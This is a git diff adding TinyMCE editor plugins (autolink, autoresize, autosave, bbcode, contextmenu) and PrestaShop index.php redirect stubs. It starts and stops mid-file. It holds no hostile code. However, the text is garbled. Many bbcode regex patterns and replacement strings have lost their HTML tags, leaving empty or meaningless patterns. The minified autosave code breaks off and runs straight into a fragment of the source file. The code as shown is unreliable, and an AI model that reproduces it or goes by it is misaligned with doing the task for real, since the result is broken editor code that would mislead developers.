+ }, + + /** + * Returns information about the plugin as a name/value array. + * The current keys are longname, author, authorurl, infourl and version. + * + * @return {Object} Name/value array containing information about the plugin. + */ + getInfo : function() { + return { + longname : 'Autolink', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/autolink', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + } + }); + + // Register plugin + tinymce.PluginManager.add('autolink', tinymce.plugins.AutolinkPlugin); +})(); diff --git a/js/tiny_mce/plugins/autolink/index.php b/js/tiny_mce/plugins/autolink/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/autolink/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/autoresize/editor_plugin.js b/js/tiny_mce/plugins/autoresize/editor_plugin.js new file mode 100755 index 0000000..46d9dc3 --- /dev/null +++ b/js/tiny_mce/plugins/autoresize/editor_plugin.js @@ -0,0 +1 @@ +(function(){tinymce.create("tinymce.plugins.AutoResizePlugin",{init:function(a,c){var d=this,e=0;if(a.getParam("fullscreen_is_enabled")){return}function b(){var j,i=a.getDoc(),f=i.body,l=i.documentElement,h=tinymce.DOM,k=d.autoresize_min_height,g;g=tinymce.isIE?f.scrollHeight:(tinymce.isWebKit&&f.clientHeight==0?0:f.offsetHeight);if(g>d.autoresize_min_height){k=g}if(d.autoresize_max_height&&g>d.autoresize_max_height){k=d.autoresize_max_height;f.style.overflowY="auto";l.style.overflowY="auto"}else{f.style.overflowY="hidden";l.style.overflowY="hidden";f.scrollTop=0}if(k!==e){j=k-e;h.setStyle(h.get(a.id+"_ifr"),"height",k+"px");e=k;if(tinymce.isWebKit&&j<0){b()}}}d.editor=a;d.autoresize_min_height=parseInt(a.getParam("autoresize_min_height",a.getElement().offsetHeight));d.autoresize_max_height=parseInt(a.getParam("autoresize_max_height",0));a.onInit.add(function(f){f.dom.setStyle(f.getBody(),"paddingBottom",f.getParam("autoresize_bottom_margin",50)+"px")});a.onChange.add(b);a.onSetContent.add(b);a.onPaste.add(b);a.onKeyUp.add(b);a.onPostRender.add(b);if(a.getParam("autoresize_on_init",true)){a.onLoad.add(b);a.onLoadContent.add(b)}a.addCommand("mceAutoResize",b)},getInfo:function(){return{longname:"Auto Resize",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/autoresize",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("autoresize",tinymce.plugins.AutoResizePlugin)})(); \ No newline at end of file diff --git a/js/tiny_mce/plugins/autoresize/editor_plugin_src.js b/js/tiny_mce/plugins/autoresize/editor_plugin_src.js new file mode 100755 index 0000000..7673bcf --- /dev/null +++ b/js/tiny_mce/plugins/autoresize/editor_plugin_src.js @@ -0,0 +1,119 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + /** + * Auto Resize + * + * This plugin automatically resizes the content area to fit its content height. + * It will retain a minimum height, which is the height of the content area when + * it's initialized. + */ + tinymce.create('tinymce.plugins.AutoResizePlugin', { + /** + * Initializes the plugin, this will be executed after the plugin has been created. + * This call is done before the editor instance has finished it's initialization so use the onInit event + * of the editor instance to intercept that event. + * + * @param {tinymce.Editor} ed Editor instance that the plugin is initialized in. + * @param {string} url Absolute URL to where the plugin is located. + */ + init : function(ed, url) { + var t = this, oldSize = 0; + + if (ed.getParam('fullscreen_is_enabled')) + return; + + /** + * This method gets executed each time the editor needs to resize. + */ + function resize() { + var deltaSize, d = ed.getDoc(), body = d.body, de = d.documentElement, DOM = tinymce.DOM, resizeHeight = t.autoresize_min_height, myHeight; + + // Get height differently depending on the browser used + myHeight = tinymce.isIE ? body.scrollHeight : (tinymce.isWebKit && body.clientHeight == 0 ? 0 : body.offsetHeight); + + // Don't make it smaller than the minimum height + if (myHeight > t.autoresize_min_height) + resizeHeight = myHeight; + + // If a maximum height has been defined don't exceed this height + if (t.autoresize_max_height && myHeight > t.autoresize_max_height) { + resizeHeight = t.autoresize_max_height; + body.style.overflowY = "auto"; + de.style.overflowY = "auto"; // Old IE + } else { + body.style.overflowY = "hidden"; + de.style.overflowY = "hidden"; // Old IE + body.scrollTop = 0; + } + + // Resize content element + if (resizeHeight !== oldSize) { + deltaSize = resizeHeight - oldSize; + DOM.setStyle(DOM.get(ed.id + '_ifr'), 'height', resizeHeight + 'px'); + oldSize = resizeHeight; + + // WebKit doesn't decrease the size of the body element until the iframe gets resized + // So we need to continue to resize the iframe down until the size gets fixed + if (tinymce.isWebKit && deltaSize < 0) + resize(); + } + }; + + t.editor = ed; + + // Define minimum height + t.autoresize_min_height = parseInt(ed.getParam('autoresize_min_height', ed.getElement().offsetHeight)); + + // Define maximum height + t.autoresize_max_height = parseInt(ed.getParam('autoresize_max_height', 0)); + + // Add padding at the bottom for better UX + ed.onInit.add(function(ed){ + ed.dom.setStyle(ed.getBody(), 'paddingBottom', ed.getParam('autoresize_bottom_margin', 50) + 'px'); + }); + + // Add appropriate listeners for resizing content area + ed.onChange.add(resize); + ed.onSetContent.add(resize); + ed.onPaste.add(resize); + ed.onKeyUp.add(resize); + ed.onPostRender.add(resize); + + if (ed.getParam('autoresize_on_init', true)) { + ed.onLoad.add(resize); + ed.onLoadContent.add(resize); + } + + // Register the command so that it can be invoked by using tinyMCE.activeEditor.execCommand('mceExample'); + ed.addCommand('mceAutoResize', resize); + }, + + /** + * Returns information about the plugin as a name/value array. + * The current keys are longname, author, authorurl, infourl and version. + * + * @return {Object} Name/value array containing information about the plugin. + */ + getInfo : function() { + return { + longname : 'Auto Resize', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/autoresize', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + } + }); + + // Register plugin + tinymce.PluginManager.add('autoresize', tinymce.plugins.AutoResizePlugin); +})(); diff --git a/js/tiny_mce/plugins/autoresize/index.php b/js/tiny_mce/plugins/autoresize/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/autoresize/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/autosave/editor_plugin.js b/js/tiny_mce/plugins/autosave/editor_plugin.js new file mode 100755 index 0000000..f7d0576 --- /dev/null +++ b/js/tiny_mce/plugins/autosave/editor_plugin.js @@ -0,0 +1 @@ +(function(e){var c="autosave",g="restoredraft",b=true,f,d,a=e.util.Dispatcher;e.create("tinymce.plugins.AutoSave",{init:function(i,j){var h=this,l=i.settings;h.editor=i;function k(n){var m={s:1000,m:60000};n=/^(\d+)([ms]?)$/.exec(""+n);return(n[2]?m[n[2]]:1)*parseInt(n)}e.each({ask_before_unload:b,interval:"30s",retention:"20m",minlength:50},function(n,m){m=c+"_"+m;if(l[m]===f){l[m]=n}});l.autosave_interval=k(l.autosave_interval);l.autosave_retention=k(l.autosave_retention);i.addButton(g,{title:c+".restore_content",onclick:function(){if(i.getContent({draft:true}).replace(/\s| |<\/?p[^>]*>|]*>/gi,"").length>0){i.windowManager.confirm(c+".warning_message",function(m){if(m){h.restoreDraft()}})}else{h.restoreDraft()}}});i.onNodeChange.add(function(){var m=i.controlManager;if(m.get(g)){m.setDisabled(g,!h.hasDraft())}});i.onInit.add(function(){if(i.controlManager.get(g)){h.setupStorage(i);setInterval(function(){h.storeDraft();i.nodeChanged()},l.autosave_interval)}});h.onStoreDraft=new a(h);h.onRestoreDraft=new a(h);h.onRemoveDraft=new a(h);if(!d){window.onbeforeunload=e.plugins.AutoSave._beforeUnloadHandler;d=b}},getInfo:function(){return{longname:"Auto save",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/autosave",version:e.majorVersion+"."+e.minorVersion}},getExpDate:function(){return new Date(new Date().getTime()+this.editor.settings.autosave_retention).toUTCString()},setupStorage:function(i){var h=this,k=c+"_test",j="OK";h.key=c+i.id;e.each([function(){if(localStorage){localStorage.setItem(k,j);if(localStorage.getItem(k)===j){localStorage.removeItem(k);return localStorage}}},function(){if(sessionStorage){sessionStorage.setItem(k,j);if(sessionStorage.getItem(k)===j){sessionStorage.removeItem(k);return sessionStorage}}},function(){if(e.isIE){i.getElement().style.behavior="url('#default#userData')";return{autoExpires:b,setItem:function(l,n){var m=i.getElement();m.setAttribute(l,n);m.expires=h.getExpDate();try{m.save("TinyMCE")}catch(o){}},getItem:function(l){var m=i.getElement();try{m.load("TinyMCE");return m.getAttribute(l)}catch(n){return null}},removeItem:function(l){i.getElement().removeAttribute(l)}}}},],function(l){try{h.storage=l();if(h.storage){return false}}catch(m){}})},storeDraft:function(){var i=this,l=i.storage,j=i.editor,h,k;if(l){if(!l.getItem(i.key)&&!j.isDirty()){return}k=j.getContent({draft:true});if(k.length>j.settings.autosave_minlength){h=i.getExpDate();if(!i.storage.autoExpires){i.storage.setItem(i.key+"_expires",h)}i.storage.setItem(i.key,k);i.onStoreDraft.dispatch(i,{expires:h,content:k})}}},restoreDraft:function(){var h=this,j=h.storage,i;if(j){i=j.getItem(h.key);if(i){h.editor.setContent(i);h.onRestoreDraft.dispatch(h,{content:i})}}},hasDraft:function(){var h=this,k=h.storage,i,j;if(k){j=!!k.getItem(h.key);if(j){if(!h.storage.autoExpires){i=new Date(k.getItem(h.key+"_expires"));if(new Date().getTime()]*>|]*>/gi, "").length > 0) { + // Show confirm dialog if the editor isn't empty + ed.windowManager.confirm( + PLUGIN_NAME + ".warning_message", + function(ok) { + if (ok) + self.restoreDraft(); + } + ); + } else + self.restoreDraft(); + } + }); + + // Enable/disable restoredraft button depending on if there is a draft stored or not + ed.onNodeChange.add(function() { + var controlManager = ed.controlManager; + + if (controlManager.get(RESTORE_DRAFT)) + controlManager.setDisabled(RESTORE_DRAFT, !self.hasDraft()); + }); + + ed.onInit.add(function() { + // Check if the user added the restore button, then setup auto storage logic + if (ed.controlManager.get(RESTORE_DRAFT)) { + // Setup storage engine + self.setupStorage(ed); + + // Auto save contents each interval time + setInterval(function() { + self.storeDraft(); + ed.nodeChanged(); + }, settings.autosave_interval); + } + }); + + /** + * This event gets fired when a draft is stored to local storage. + * + * @event onStoreDraft + * @param {tinymce.plugins.AutoSave} sender Plugin instance sending the event. + * @param {Object} draft Draft object containing the HTML contents of the editor. + */ + self.onStoreDraft = new Dispatcher(self); + + /** + * This event gets fired when a draft is restored from local storage. + * + * @event onStoreDraft + * @param {tinymce.plugins.AutoSave} sender Plugin instance sending the event. + * @param {Object} draft Draft object containing the HTML contents of the editor. + */ + self.onRestoreDraft = new Dispatcher(self); + + /** + * This event gets fired when a draft removed/expired. + * + * @event onRemoveDraft + * @param {tinymce.plugins.AutoSave} sender Plugin instance sending the event. + * @param {Object} draft Draft object containing the HTML contents of the editor. + */ + self.onRemoveDraft = new Dispatcher(self); + + // Add ask before unload dialog only add one unload handler + if (!unloadHandlerAdded) { + window.onbeforeunload = tinymce.plugins.AutoSave._beforeUnloadHandler; + unloadHandlerAdded = TRUE; + } + }, + + /** + * Returns information about the plugin as a name/value array. + * The current keys are longname, author, authorurl, infourl and version. + * + * @method getInfo + * @return {Object} Name/value array containing information about the plugin. + */ + getInfo : function() { + return { + longname : 'Auto save', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/autosave', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + }, + + /** + * Returns an expiration date UTC string. + * + * @method getExpDate + * @return {String} Expiration date UTC string. + */ + getExpDate : function() { + return new Date( + new Date().getTime() + this.editor.settings.autosave_retention + ).toUTCString(); + }, + + /** + * This method will setup the storage engine. If the browser has support for it. + * + * @method setupStorage + */ + setupStorage : function(ed) { + var self = this, testKey = PLUGIN_NAME + '_test', testVal = "OK"; + + self.key = PLUGIN_NAME + ed.id; + + // Loop though each storage engine type until we find one that works + tinymce.each([ + function() { + // Try HTML5 Local Storage + if (localStorage) { + localStorage.setItem(testKey, testVal); + + if (localStorage.getItem(testKey) === testVal) { + localStorage.removeItem(testKey); + + return localStorage; + } + } + }, + + function() { + // Try HTML5 Session Storage + if (sessionStorage) { + sessionStorage.setItem(testKey, testVal); + + if (sessionStorage.getItem(testKey) === testVal) { + sessionStorage.removeItem(testKey); + + return sessionStorage; + } + } + }, + + function() { + // Try IE userData + if (tinymce.isIE) { + ed.getElement().style.behavior = "url('#default#userData')"; + + // Fake localStorage on old IE + return { + autoExpires : TRUE, + + setItem : function(key, value) { + var userDataElement = ed.getElement(); + + userDataElement.setAttribute(key, value); + userDataElement.expires = self.getExpDate(); + + try { + userDataElement.save("TinyMCE"); + } catch (e) { + // Ignore, saving might fail if "Userdata Persistence" is disabled in IE + } + }, + + getItem : function(key) { + var userDataElement = ed.getElement(); + + try { + userDataElement.load("TinyMCE"); + return userDataElement.getAttribute(key); + } catch (e) { + // Ignore, loading might fail if "Userdata Persistence" is disabled in IE + return null; + } + }, + + removeItem : function(key) { + ed.getElement().removeAttribute(key); + } + }; + } + }, + ], function(setup) { + // Try executing each function to find a suitable storage engine + try { + self.storage = setup(); + + if (self.storage) + return false; + } catch (e) { + // Ignore + } + }); + }, + + /** + * This method will store the current contents in the the storage engine. + * + * @method storeDraft + */ + storeDraft : function() { + var self = this, storage = self.storage, editor = self.editor, expires, content; + + // Is the contents dirty + if (storage) { + // If there is no existing key and the contents hasn't been changed since + // it's original value then there is no point in saving a draft + if (!storage.getItem(self.key) && !editor.isDirty()) + return; + + // Store contents if the contents if longer than the minlength of characters + content = editor.getContent({draft: true}); + if (content.length > editor.settings.autosave_minlength) { + expires = self.getExpDate(); + + // Store expiration date if needed IE userData has auto expire built in + if (!self.storage.autoExpires) + self.storage.setItem(self.key + "_expires", expires); + + self.storage.setItem(self.key, content); + self.onStoreDraft.dispatch(self, { + expires : expires, + content : content + }); + } + } + }, + + /** + * This method will restore the contents from the storage engine back to the editor. + * + * @method restoreDraft + */ + restoreDraft : function() { + var self = this, storage = self.storage, content; + + if (storage) { + content = storage.getItem(self.key); + + if (content) { + self.editor.setContent(content); + self.onRestoreDraft.dispatch(self, { + content : content + }); + } + } + }, + + /** + * This method will return true/false if there is a local storage draft available. + * + * @method hasDraft + * @return {boolean} true/false state if there is a local draft. + */ + hasDraft : function() { + var self = this, storage = self.storage, expDate, exists; + + if (storage) { + // Does the item exist at all + exists = !!storage.getItem(self.key); + if (exists) { + // Storage needs autoexpire + if (!self.storage.autoExpires) { + expDate = new Date(storage.getItem(self.key + "_expires")); + + // Contents hasn't expired + if (new Date().getTime() < expDate.getTime()) + return TRUE; + + // Remove it if it has + self.removeDraft(); + } else + return TRUE; + } + } + + return false; + }, + + /** + * Removes the currently stored draft. + * + * @method removeDraft + */ + removeDraft : function() { + var self = this, storage = self.storage, key = self.key, content; + + if (storage) { + // Get current contents and remove the existing draft + content = storage.getItem(key); + storage.removeItem(key); + storage.removeItem(key + "_expires"); + + // Dispatch remove event if we had any contents + if (content) { + self.onRemoveDraft.dispatch(self, { + content : content + }); + } + } + }, + + "static" : { + // Internal unload handler will be called before the page is unloaded + _beforeUnloadHandler : function(e) { + var msg; + + tinymce.each(tinyMCE.editors, function(ed) { + // Store a draft for each editor instance + if (ed.plugins.autosave) + ed.plugins.autosave.storeDraft(); + + // Never ask in fullscreen mode + if (ed.getParam("fullscreen_is_enabled")) + return; + + // Setup a return message if the editor is dirty + if (!msg && ed.isDirty() && ed.getParam("autosave_ask_before_unload")) + msg = ed.getLang("autosave.unload_msg"); + }); + + return msg; + } + } + }); + + tinymce.PluginManager.add('autosave', tinymce.plugins.AutoSave); +})(tinymce); diff --git a/js/tiny_mce/plugins/autosave/index.php b/js/tiny_mce/plugins/autosave/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/autosave/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/autosave/langs/en.js b/js/tiny_mce/plugins/autosave/langs/en.js new file mode 100755 index 0000000..219f769 --- /dev/null +++ b/js/tiny_mce/plugins/autosave/langs/en.js @@ -0,0 +1,4 @@ +tinyMCE.addI18n('en.autosave',{ +restore_content: "Restore auto-saved content", +warning_message: "If you restore the saved content, you will lose all the content that is currently in the editor.\n\nAre you sure you want to restore the saved content?" +}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/autosave/langs/index.php b/js/tiny_mce/plugins/autosave/langs/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/autosave/langs/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/bbcode/editor_plugin.js b/js/tiny_mce/plugins/bbcode/editor_plugin.js new file mode 100755 index 0000000..8f8821f --- /dev/null +++ b/js/tiny_mce/plugins/bbcode/editor_plugin.js @@ -0,0 +1 @@ +(function(){tinymce.create("tinymce.plugins.BBCodePlugin",{init:function(a,b){var d=this,c=a.getParam("bbcode_dialect","punbb").toLowerCase();a.onBeforeSetContent.add(function(e,f){f.content=d["_"+c+"_bbcode2html"](f.content)});a.onPostProcess.add(function(e,f){if(f.set){f.content=d["_"+c+"_bbcode2html"](f.content)}if(f.get){f.content=d["_"+c+"_html2bbcode"](f.content)}})},getInfo:function(){return{longname:"BBCode Plugin",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/bbcode",version:tinymce.majorVersion+"."+tinymce.minorVersion}},_punbb_html2bbcode:function(a){a=tinymce.trim(a);function b(c,d){a=a.replace(c,d)}b(/(.*?)<\/a>/gi,"[url=$1]$2[/url]");b(/(.*?)<\/font>/gi,"[code][color=$1]$2[/color][/code]");b(/(.*?)<\/font>/gi,"[quote][color=$1]$2[/color][/quote]");b(/(.*?)<\/font>/gi,"[code][color=$1]$2[/color][/code]");b(/(.*?)<\/font>/gi,"[quote][color=$1]$2[/color][/quote]");b(/(.*?)<\/span>/gi,"[color=$1]$2[/color]");b(/(.*?)<\/font>/gi,"[color=$1]$2[/color]");b(/(.*?)<\/span>/gi,"[size=$1]$2[/size]");b(/(.*?)<\/font>/gi,"$1");b(//gi,"[img]$1[/img]");b(/(.*?)<\/span>/gi,"[code]$1[/code]");b(/(.*?)<\/span>/gi,"[quote]$1[/quote]");b(/(.*?)<\/strong>/gi,"[code][b]$1[/b][/code]");b(/(.*?)<\/strong>/gi,"[quote][b]$1[/b][/quote]");b(/(.*?)<\/em>/gi,"[code][i]$1[/i][/code]");b(/(.*?)<\/em>/gi,"[quote][i]$1[/i][/quote]");b(/(.*?)<\/u>/gi,"[code][u]$1[/u][/code]");b(/(.*?)<\/u>/gi,"[quote][u]$1[/u][/quote]");b(/<\/(strong|b)>/gi,"[/b]");b(/<(strong|b)>/gi,"[b]");b(/<\/(em|i)>/gi,"[/i]");b(/<(em|i)>/gi,"[i]");b(/<\/u>/gi,"[/u]");b(/(.*?)<\/span>/gi,"[u]$1[/u]");b(//gi,"[u]");b(/]*>/gi,"[quote]");b(/<\/blockquote>/gi,"[/quote]");b(/
    /gi,"\n");b(//gi,"\n");b(/
    /gi,"\n");b(/

    /gi,"");b(/<\/p>/gi,"\n");b(/ |\u00a0/gi," ");b(/"/gi,'"');b(/</gi,"<");b(/>/gi,">");b(/&/gi,"&");return a},_punbb_bbcode2html:function(a){a=tinymce.trim(a);function b(c,d){a=a.replace(c,d)}b(/\n/gi,"
    ");b(/\[b\]/gi,"");b(/\[\/b\]/gi,"");b(/\[i\]/gi,"");b(/\[\/i\]/gi,"");b(/\[u\]/gi,"");b(/\[\/u\]/gi,"");b(/\[url=([^\]]+)\](.*?)\[\/url\]/gi,'$2');b(/\[url\](.*?)\[\/url\]/gi,'$1');b(/\[img\](.*?)\[\/img\]/gi,'');b(/\[color=(.*?)\](.*?)\[\/color\]/gi,'$2');b(/\[code\](.*?)\[\/code\]/gi,'$1 ');b(/\[quote.*?\](.*?)\[\/quote\]/gi,'$1 ');return a}});tinymce.PluginManager.add("bbcode",tinymce.plugins.BBCodePlugin)})(); \ No newline at end of file diff --git a/js/tiny_mce/plugins/bbcode/editor_plugin_src.js b/js/tiny_mce/plugins/bbcode/editor_plugin_src.js new file mode 100755 index 0000000..12cdaca --- /dev/null +++ b/js/tiny_mce/plugins/bbcode/editor_plugin_src.js @@ -0,0 +1,120 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + tinymce.create('tinymce.plugins.BBCodePlugin', { + init : function(ed, url) { + var t = this, dialect = ed.getParam('bbcode_dialect', 'punbb').toLowerCase(); + + ed.onBeforeSetContent.add(function(ed, o) { + o.content = t['_' + dialect + '_bbcode2html'](o.content); + }); + + ed.onPostProcess.add(function(ed, o) { + if (o.set) + o.content = t['_' + dialect + '_bbcode2html'](o.content); + + if (o.get) + o.content = t['_' + dialect + '_html2bbcode'](o.content); + }); + }, + + getInfo : function() { + return { + longname : 'BBCode Plugin', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/bbcode', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + }, + + // Private methods + + // HTML -> BBCode in PunBB dialect + _punbb_html2bbcode : function(s) { + s = tinymce.trim(s); + + function rep(re, str) { + s = s.replace(re, str); + }; + + // example: to [b] + rep(/(.*?)<\/a>/gi,"[url=$1]$2[/url]"); + rep(/(.*?)<\/font>/gi,"[code][color=$1]$2[/color][/code]"); + rep(/(.*?)<\/font>/gi,"[quote][color=$1]$2[/color][/quote]"); + rep(/(.*?)<\/font>/gi,"[code][color=$1]$2[/color][/code]"); + rep(/(.*?)<\/font>/gi,"[quote][color=$1]$2[/color][/quote]"); + rep(/(.*?)<\/span>/gi,"[color=$1]$2[/color]"); + rep(/(.*?)<\/font>/gi,"[color=$1]$2[/color]"); + rep(/(.*?)<\/span>/gi,"[size=$1]$2[/size]"); + rep(/(.*?)<\/font>/gi,"$1"); + rep(//gi,"[img]$1[/img]"); + rep(/(.*?)<\/span>/gi,"[code]$1[/code]"); + rep(/(.*?)<\/span>/gi,"[quote]$1[/quote]"); + rep(/(.*?)<\/strong>/gi,"[code][b]$1[/b][/code]"); + rep(/(.*?)<\/strong>/gi,"[quote][b]$1[/b][/quote]"); + rep(/(.*?)<\/em>/gi,"[code][i]$1[/i][/code]"); + rep(/(.*?)<\/em>/gi,"[quote][i]$1[/i][/quote]"); + rep(/(.*?)<\/u>/gi,"[code][u]$1[/u][/code]"); + rep(/(.*?)<\/u>/gi,"[quote][u]$1[/u][/quote]"); + rep(/<\/(strong|b)>/gi,"[/b]"); + rep(/<(strong|b)>/gi,"[b]"); + rep(/<\/(em|i)>/gi,"[/i]"); + rep(/<(em|i)>/gi,"[i]"); + rep(/<\/u>/gi,"[/u]"); + rep(/(.*?)<\/span>/gi,"[u]$1[/u]"); + rep(//gi,"[u]"); + rep(/]*>/gi,"[quote]"); + rep(/<\/blockquote>/gi,"[/quote]"); + rep(/
    /gi,"\n"); + rep(//gi,"\n"); + rep(/
    /gi,"\n"); + rep(/

    /gi,""); + rep(/<\/p>/gi,"\n"); + rep(/ |\u00a0/gi," "); + rep(/"/gi,"\""); + rep(/</gi,"<"); + rep(/>/gi,">"); + rep(/&/gi,"&"); + + return s; + }, + + // BBCode -> HTML from PunBB dialect + _punbb_bbcode2html : function(s) { + s = tinymce.trim(s); + + function rep(re, str) { + s = s.replace(re, str); + }; + + // example: [b] to + rep(/\n/gi,"
    "); + rep(/\[b\]/gi,""); + rep(/\[\/b\]/gi,""); + rep(/\[i\]/gi,""); + rep(/\[\/i\]/gi,""); + rep(/\[u\]/gi,""); + rep(/\[\/u\]/gi,""); + rep(/\[url=([^\]]+)\](.*?)\[\/url\]/gi,"$2"); + rep(/\[url\](.*?)\[\/url\]/gi,"$1"); + rep(/\[img\](.*?)\[\/img\]/gi,""); + rep(/\[color=(.*?)\](.*?)\[\/color\]/gi,"$2"); + rep(/\[code\](.*?)\[\/code\]/gi,"$1 "); + rep(/\[quote.*?\](.*?)\[\/quote\]/gi,"$1 "); + + return s; + } + }); + + // Register plugin + tinymce.PluginManager.add('bbcode', tinymce.plugins.BBCodePlugin); +})(); \ No newline at end of file diff --git a/js/tiny_mce/plugins/bbcode/index.php b/js/tiny_mce/plugins/bbcode/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/bbcode/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/contextmenu/editor_plugin.js b/js/tiny_mce/plugins/contextmenu/editor_plugin.js new file mode 100755 index 0000000..4f99010 --- /dev/null +++ b/js/tiny_mce/plugins/contextmenu/editor_plugin.js @@ -0,0 +1 @@ +(function(){var a=tinymce.dom.Event,c=tinymce.each,b=tinymce.DOM;tinymce.create("tinymce.plugins.ContextMenu",{init:function(e){var h=this,f,d,i;h.editor=e;d=e.settings.contextmenu_never_use_native;h.onContextMenu=new tinymce.util.Dispatcher(this);f=e.onContextMenu.add(function(j,k){if((i!==0?i:k.ctrlKey)&&!d){return}a.cancel(k);if(k.target.nodeName=="IMG"){j.selection.select(k.target)}h._getMenu(j).showMenu(k.clientX||k.pageX,k.clientY||k.pageY);a.add(j.getDoc(),"click",function(l){g(j,l)});j.nodeChanged()});e.onRemove.add(function(){if(h._menu){h._menu.removeAll()}});function g(j,k){i=0;if(k&&k.button==2){i=k.ctrlKey;return}if(h._menu){h._menu.removeAll();h._menu.destroy();a.remove(j.getDoc(),"click",g);h._menu=null}}e.onMouseDown.add(g);e.onKeyDown.add(g);e.onKeyDown.add(function(j,k){if(k.shiftKey&&!k.ctrlKey&&!k.altKey&&k.keyCode===121){a.cancel(k);f(j,k)}})},getInfo:function(){return{longname:"Contextmenu",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/contextmenu",version:tinymce.majorVersion+"."+tinymce.minorVersion}},_getMenu:function(e){var 